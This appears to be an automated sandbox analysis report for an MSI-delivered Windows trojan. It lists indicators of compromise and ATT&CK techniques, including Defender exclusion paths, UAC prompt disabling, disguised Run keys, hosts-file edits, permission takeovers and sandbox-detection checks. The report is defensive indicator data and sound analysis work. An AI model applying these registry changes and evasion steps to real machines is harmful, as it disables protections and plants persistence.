a2df6c6428838a764aa57d428b44218654fd2812b6bebd3d57c77d6cd3cd8ff7

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	UpaYo8.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UpaYo8 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\RgBEtf = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe
3044	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	UpaYo8.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
1436	icacls.exe
3364	icacls.exe
348	icacls.exe
6108	icacls.exe
1212	icacls.exe
952	icacls.exe
5068	icacls.exe
2648	icacls.exe
5664	icacls.exe
3504	icacls.exe
2832	takeown.exe
5892	icacls.exe
2532	icacls.exe
4844	icacls.exe
5712	icacls.exe
6008	icacls.exe
1628	takeown.exe
1660	icacls.exe
5076	icacls.exe
2948	icacls.exe
2408	icacls.exe
1208	icacls.exe
5752	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
4904	O8kDNC.exe
2268	UpaYo8.exe
2220	UpaYo8.exe
4492	3pJUVqgF.exe

Loads dropped DLL 5 IoCs

pid	Process
860	MsiExec.exe
4904	O8kDNC.exe
2268	UpaYo8.exe
2220	UpaYo8.exe
4492	3pJUVqgF.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2532	icacls.exe
6008	icacls.exe
1660	icacls.exe
348	icacls.exe
5664	icacls.exe
3504	icacls.exe
1208	icacls.exe
2948	icacls.exe
2832	takeown.exe
5892	icacls.exe
3364	icacls.exe
2648	icacls.exe
5712	icacls.exe
6108	icacls.exe
5076	icacls.exe
5752	icacls.exe
2408	icacls.exe
952	icacls.exe
4844	icacls.exe
1212	icacls.exe
1628	takeown.exe
1436	icacls.exe
5068	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\RgBEtf\\O8kDNC.exe\""	O8kDNC.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\UpaYo8\\UpaYo8.exe\""	UpaYo8.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	860	MsiExec.exe
14	860	MsiExec.exe
15	860	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4268	cmd.exe
2092	cmd.exe
1968	cmd.exe
5600	cmd.exe
4556	cmd.exe
2360	cmd.exe
1380	cmd.exe
2396	cmd.exe
4128	cmd.exe
4120	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	O8kDNC.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\UpaYo8\UpaYo8.exe	O8kDNC.exe
File opened for modification	C:\Program Files (x86)\UpaYo8\image.png	O8kDNC.exe
File opened for modification	C:\Program Files (x86)\k963Fq9\thumbs.db	UpaYo8.exe
File created	C:\Program Files (x86)\k963Fq9\3pJUVqgF.exe	UpaYo8.exe
File opened for modification	C:\Program Files (x86)\UpaYo8	O8kDNC.exe
File created	C:\Program Files (x86)\UpaYo8\UpaYo8.exe	O8kDNC.exe
File created	C:\Program Files (x86)\k963Fq9\image.png	UpaYo8.exe
File created	C:\Program Files (x86)\k963Fq9\thumbs.db	UpaYo8.exe
File opened for modification	C:\Program Files (x86)\k963Fq9\3pJUVqgF.exe	UpaYo8.exe
File opened for modification	C:\Program Files (x86)\k963Fq9\XPSPLOG.dll	UpaYo8.exe
File created	C:\Program Files (x86)\UpaYo8\XPSPLOG.dll	O8kDNC.exe
File created	C:\Program Files (x86)\UpaYo8\thumbs.db	O8kDNC.exe
File opened for modification	C:\Program Files (x86)\UpaYo8\XPSPLOG.dll	O8kDNC.exe
File opened for modification	C:\Program Files (x86)\UpaYo8\thumbs.db	O8kDNC.exe
File opened for modification	C:\Program Files (x86)\k963Fq9	UpaYo8.exe
File created	C:\Program Files (x86)\k963Fq9\XPSPLOG.dll	UpaYo8.exe
File created	C:\Program Files (x86)\UpaYo8\image.png	O8kDNC.exe
File opened for modification	C:\Program Files (x86)\k963Fq9\image.png	UpaYo8.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DFF1D86292171FE41E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5328.tmp	msiexec.exe
File created	C:\Windows\Installer\e594ce0.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF33DA7180BEB976CA.TMP	msiexec.exe
File created	C:\Windows\Installer\e594cde.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFBC34E55194E2DF06.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI525C.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF094EAC8B1E2195AB.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e594cde.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5912	sc.exe
3316	sc.exe
2636	sc.exe
5040	sc.exe
1872	sc.exe
4728	sc.exe
4272	sc.exe
1884	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
788	msiexec.exe

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaveActive = "0"	UpaYo8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	UpaYo8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\SCRNSAVE.EXE	UpaYo8.exe

Executes a command shell one-liner 1 TTPs 29 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2260	cmd.exe
4512	cmd.exe
1720	cmd.exe
1260	cmd.exe
3900	cmd.exe
2432	cmd.exe
5528	cmd.exe
4244	cmd.exe
3052	cmd.exe
5412	cmd.exe
1700	cmd.exe
236	cmd.exe
4364	cmd.exe
1280	cmd.exe
4972	cmd.exe
716	cmd.exe
5784	cmd.exe
5988	cmd.exe
4880	cmd.exe
4648	cmd.exe
6040	cmd.exe
3744	cmd.exe
5764	cmd.exe
3800	cmd.exe
4732	cmd.exe
252	cmd.exe
5132	cmd.exe
3320	cmd.exe
4860	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpaYo8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpaYo8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3pJUVqgF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000940e18cbc83cc7300000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801940e18cb0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101940e18cb000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3940e18cb00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6940e18cb00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	UpaYo8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	UpaYo8.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	UpaYo8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	UpaYo8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\SCRNSAVE.EXE	UpaYo8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaveActive = "0"	UpaYo8.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "6C1B6E781B437E449BE99DF04BBA7309"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_28n003.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4264	schtasks.exe
4928	schtasks.exe
4416	schtasks.exe
5192	schtasks.exe
2236	schtasks.exe
4468	schtasks.exe
5876	schtasks.exe
3032	schtasks.exe
5008	schtasks.exe
5692	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1480	msiexec.exe
1480	msiexec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
860	MsiExec.exe
